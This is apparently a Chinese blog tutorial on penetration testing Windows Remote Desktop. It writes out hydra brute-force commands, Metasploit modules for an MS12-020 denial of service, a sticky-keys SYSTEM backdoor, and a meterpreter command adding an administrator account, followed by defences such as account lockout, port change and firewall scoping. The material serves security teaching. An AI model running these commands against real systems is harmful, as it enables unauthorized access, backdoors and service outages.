远程桌面(RDP)上的渗透测试技巧和防御
0x00 前言
在本文中,我们将讨论四种情况下的远程桌面渗透测试技巧方法。通过这种攻击方式,我们试图获取攻击者如何在不同情况下攻击目标系统,以及管理员在激活RDP服务时来抵御攻击时应采取哪些主要的防御手段。远程桌面协议(RDP)也称为“终端服务客户端”,是Microsoft开发的专有协议,为用户提供通过网络连接远程登录到另一台计算机的图形界面。RDP服务器内置于Windows操作系统中; 默认情况下,服务器监听TCP 端口3389。
0x01 RDP服务攻击
1.RDP暴力破解攻击
让我们开始吧!
假设admin已允许其系统中的远程桌面服务进行本地网络连接。
1.1使用nmap扫描RDP
攻击者可以借助nmap来验证端口3389是否被打开。对于RDP渗透,我们还使用nmap来扫描目标系统(192.168.0.102)以获取开放式RDP的端口。
nmap -p 3389 192.168.0.102
如果允许远程桌面服务,则nmap将显示OPEN作为端口3389的状态,如下图所示:
1.2.对RDP进行暴力攻击
为了与RDP连接,我们总是需要登录凭证作为经过身份验证的连接。有效用户凭证可以输入它的用户名和密码,但无效用户(攻击者)无法猜出正确的登录凭据,因此需要通过暴力攻击来获取登录凭证。
我们正在使用hydra来展示对RDP进行暴力攻击。Hydra:它是一个并行登录破解程序,支持多种协议攻击。它非常快速灵活,新模块易于添加。在kali Linux中打开终端并输入以下命令:
Hydra -v -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
从下面的截图中可以看到正确地获取到用户名:ignite和密码:123456,我们通过端口3389上的暴力攻击检索到。使用此凭据攻击者可以登录远程桌面服务。
2.扫描端口3389以进行DOS攻击
很多时候,为了确定主机是否容易受到RDP攻击,攻击者使用MS12-020检查来测试其漏洞。在kali Linux下的metasploit框架中打开命令终端,现在键入以下命令来扫描漏洞。
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
从下列截图中可以看出目标是易受攻击的,现在你可以使用谷歌找到它的攻击漏洞的poc.
一旦攻击知道目标端口3389易受到MS12-020-攻击的漏洞,那么将尝试使用Ms12-020_maxchannelids进行攻击。这将对目标系统发起DOS攻击。
现在键入以下命令进行DOS攻击,这将导致目标系统蓝屏。
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rhost 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
从如下图所示中,可以看到目标是由于某些问题导致系统正在关闭。
DoS攻击执行者通常攻击以托管在诸如银行或信用卡支付网关等高端Web服务器上的站点或服务作为目标,通过暂时或无限期地中断连接Internet的主机服务,使其目标用户无法使用机器或网络资源。
3.在受害者PC中启用RDP
如果攻击者攻击了未启用RDP服务的受害者系统,则攻击者自己可以使用由Rapid 7在metasploit内部构建的后渗透模块来开启RDP服务。
现在要执行此操作,我们必须需要一个目标系统的反弹shell。从如下图所示中,您可以看到已经获取了目标系统的反弹shell.
这里我们获得了meterpreter的会话1,并通过bypass的会话2获得管理权限。
现在键入以下命令以生成后渗透反弹shell用以启用RDP服务
use post/windows/manage/enable_rdp
msf post(enable_rdp) > sessions
msf post(enable_rdp) >exploit
此模块可以将“sticky key”攻击应用于具有合适权限的会话中。该攻击提供了一种在RDP登录屏幕或UAC确认对话框中使用UI级别交互获取SYSTEM shell的方法。
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set sessions 2
msf post(sticky_keys) >exploit
现在使用以下命令连接远程桌面:
rdesktop 192.168.0.102
它会要求提交登录凭据,但我们不知道,因此我们需要发起了上面的 stick key攻击,以便我们可以通过按照如下图所示的连续按5次shift键获取RDP 的命令终端。
4.另一种启用RDP的方法
当您已获取到受害主机系统的meterpreter会话后,启用RDP服务的命令以及选择的设置凭证。
Meterpreter> run getgui-e-u raaz-p 1234
从如下图所示中,你可以看到已经添加了用户名raaz与密码1234 可进入“远程桌面用户”和“管理员”的权限。现在您可以使用已创建的用户进行命令登录,命令如下:
rdesktop 192.168.0.102
输入用户名raaz和密码1234用于登录
现在已成功远程登录系统。
0x02 RDP攻击防御
1.添加安全策略以防止暴力破解
管理员可以使用帐户锁定策略保护其网络免受暴力破解攻击。在安全设置 > 帐户策略 > 帐户锁定策略下配置以下策略:
帐户锁定持续时间:用于定义锁定帐户保持时间段的策略,直到自动解锁或由管理员重置。当用户超过帐户锁定阈值设置的登录尝试时,它将锁定帐户指定的时间。
帐户锁定阈值:定义失败登录尝试次数的策略,将在帐户锁定持续时间指定的某段时间内锁定帐户。它将允许最大数量指定尝试登录您的帐户。
被锁账户锁定计数器:用于定义登录尝试失败后必须经过的时间段的策略。重置时间必须小于或等于帐户锁定时间。
如下实例设置:
帐户锁定时间: 30分钟
帐户锁定阈值: 2次无效登录尝试
被锁帐户锁定计算器: 30分钟后
如果尝试次数大于 帐户锁定阈值,则攻击者可能会被锁定账户。
现在再次通过对端口3389进行暴力破解攻击来测试帐户锁定策略。
hydra -v -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
当攻击者检索用户名和密码时,肯定会使用它们进行登录,但正如您所看到的那样,尝试破解密码需要超过2次,因此根据设置的策略,帐户应该被锁定30分钟.
让我们通过登录远程桌面来验证它。
打开命令终端并输入“rdesktop 192.168.0.102”,当获得目标屏幕时,输入已爆破检索的用户名和密码。从如下截图中,您可以看到我们已经输入上面发现的用户名和密码 ignite: 123456
当攻击者提交您的凭据时,它会显示当前帐户已被锁定且无法登录的消息,如下图所示。它锁定用户的帐户 ignit 30分钟,因此管理员知道有人一直试图非法访问远程桌面。通过这种方式,我们可以防御暴力破解攻击,防止未经授权的访问。
2.端口修改
您可以在另一个端口上转发端口3389以提高系统的安全性,但要在窗口操作系统中通过注册表编辑器浏览以下位置。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
从如下图所示中,您可以在右侧面板中看到端口号已被选中并单击它。
将端口从3389更改为特定端口号
您将获得一个编辑DWORD的窗口,可以在其中编辑32位值。默认情况下,它将显示d3d,它是3389的十六进制值。将3389值替换为您选择的另一个值(如3314),并选择十六进制作为基数,将3314转换为cf2。
从如下图所示,您可以看到端口3314现在被打开。
3.通过系统自带防火墙保护RDP
打开具有高级设置的防火墙的面板,然后进入其内对配置入站的远程桌面(TCP-In)配置,以通过在防火墙中设置进行一些更改来添加安全过滤器。
允许来自特定IP的流量
之后,它将打开一个窗口来更改其属性,单击范围选项。在这里,您将获得两个连接类型的面板,本地和远程 IP地址。
在远程IP地址中,为特定IP地址选择第二个选项,并输入要允许连接远程桌面服务的IP,如下图所示:
它将阻止来自其他IP的所有流量,并提高网络的安全性,以抵御任何类型的攻击。
远程桌面(RDP)上的渗透测试技巧和防御的更多相关文章
- 使用WampServer和DVWA在Windows10上搭建渗透测试环境
前言: DVWA是一个具有脆弱性的Web测试应用,需要PHP和MySQL的环境支持.我们可以手动配置DVWA所需的运行环境,也可以使用WampServer进行搭建.WampServer是集成了Apac ...
- 使用XAMPP和DVWA在Windows7上搭建渗透测试环境
前言: XAMPP是一个Web应用程序运行环境集成软件包,包括MySQL.PHP.PerI和Apache的环境及Apache.MySQL.FilleZilla.Mercury和Tomecat等组件.D ...
- windows修改远程桌面RDP连接数
windows 2003在默认情况下最多只允许两个用户进行远程终端连接,当达到两个远程桌面连接的到时候,再有人尝试连接,就会提示已经达到最大终端数,无法连上了. 一.windows2003终端连接数修 ...
- 关于KeePass实现mstsc远程桌面(rdp协议)的自动登录
本文的Keepass版本:KeePass Password Safe Version 2.45 首先介绍一下Keepass,引用官网的解释如下: KeePass is a free open sour ...
- PowerShell自定义修改远程桌面RDP端口
应朋友的要求写了一个通过PowerShell修改远程桌面(Remote Desktop)端口的脚本,不复杂,启动脚本后有两个选项:1.自定义远程桌面:2.回复远程桌面的默认端口3389 发出来给有用的 ...
- 远程桌面RDP不能粘贴文本
刚才用远程桌面 登陆 服务器,突然发现不能在本机和远程服务器之间粘贴文本了,即不能从本机复制文本粘贴到服务器,也不能从服务器复制文本粘贴到本机. 在服务器上打开任务管理器,查看进程,有 rdpclip ...
- PCB 一键远程桌面+RDP文件生成
最近在写个内网INCAM内网授权工具中,在服务端监听客户端请求后,后台自动处理客户端请求并远程客户端 这里记录3个点. 一.运行RDP文件后,正常会有下图2个弹窗,怎么可以关闭这2个弹窗呢, 通过模拟 ...
- com组件远程桌面rdp模块的调用
rdp(remote desktop protocol)是一个多通道的协议,包括客户端视音传输.文件传输和通讯端口转向等等功能,通过压缩处理的数据网络传输也是相当快.我们在windows操作系统下面, ...
- 如何在 Linux 上使用 x2go 设置远程桌面
https://linux.cn/article-5708-1.html 由于一切都迁移到了云上,作为提高职员生产力的一种方式,虚拟远程桌面在工业中越来越流行.尤其对于那些需要在多个地方和设备之间不停 ...
随机推荐
- TensorFlow学习之路1-TensorFlow介绍
TensorFlow是一个采用数据流图(data flow graphs),用于数据计算的开源软件库. 什么是数据流图? TensorFlow的数据流图是由“节点”(nodes)和“线”(edges) ...
- 学习笔记 | Set
目录 Set Set 前言 不会数据结构选手 当几乎没写过什么数据结构的菜鸡遇上了毒瘤的splay和treap 时间正一点一点地被续走TAT 听说set有时候可以替代treap和splay 那么菜鸡L ...
- crosstool-ng搭建交叉编译环境注意事项
一,crosstool-ng的下载及编译方法 可以参考如下网站: http://www.crosstool-ng.org/ 二,编译过程注意事项 1)如果遇到有些代码包不能下载,请依据指定版本,在这里 ...
- python爬虫项目(新手教程)之知乎(requests方式)
-前言 之前一直用scrapy与urllib姿势爬取数据,最近使用requests感觉还不错,这次希望通过对知乎数据的爬取为 各位爬虫爱好者和初学者更好的了解爬虫制作的准备过程以及requests请求 ...
- linux获得命令使用帮助
1. 内部命令: help CMD 2. 外部命令: CMD --help 3. 命令手册: manual(所有命令) man CMD 分章节: 1: 用户命令(User Commands - /bi ...
- CocoaPods :为iOS程序提供依赖管理的工具(yoowei)
修改于:2016.11.18 2017.1.10 2019.01.31 CocoaPods 源码 : https://github.com/CocoaPods/CocoaPods CocoaPo ...
- 迎来OO的曙光,总结规格的意义——OO第四次博客总结
一切都要结束了,砥砺前行~ 一.测试与正确性论证的效果差异 测试,顾名思义就是我们暴力用大量数据轰炸编写的程序的过程.日常的OO过程中,我们经常互相寻求“测试集”,正是因为测试使用特定数据对我们的功能 ...
- 每日scrum(1)
今天又正式开始了第二个冲刺周期,计划十天,主要需要改进的地方包括UI界面,还有一些细节的把握. 今天出现的主要问题有:在讨论UI界面风格的时候,小组内部意见不统一,对UI界面的创作流程不熟悉,以及难度 ...
- web14 validation.xml配置 登录验证文件配置
电影网站:www.aikan66.com 项目网站:www.aikan66.com 游戏网站:www.aikan66.com 图片网站:www.aikan66.com 书籍网站:www.aikan66 ...
- Sprint2
进展:主要进行了在安卓手机端进行APP开发的资料及有关学习的视频的查找等.了解也学习了这些资料还有技术.第一个任务完成了一半. 燃尽图: